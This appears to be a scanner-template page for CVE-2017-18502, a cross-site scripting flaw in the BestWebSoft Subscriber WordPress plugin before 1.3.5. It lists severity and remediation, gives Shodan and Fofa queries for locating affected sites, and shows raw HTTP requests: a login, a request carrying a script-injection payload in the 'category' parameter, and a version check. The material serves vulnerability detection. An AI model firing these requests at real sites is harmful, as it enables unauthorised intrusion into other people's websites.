| Title | Subscriber by BestWebSoft < 1.3.5 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to version 1.3.5 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00314 |
| CVE ID | CVE-2017-18502 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/subscriber/ |
| Fofa Query | body=/wp-content/plugins/subscriber/ |
| Tags | cve2017 cve wordpress wpscan bws-subscribers wp-plugin xss authenticated bestwebsoft vuln |
The subscriber plugin before 1.3.5 for WordPress has multiple XSS issues.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=zzLtnN&pwd=E1Y8jp&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/subscriber/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15
Connection: close
Accept-Encoding: gzip
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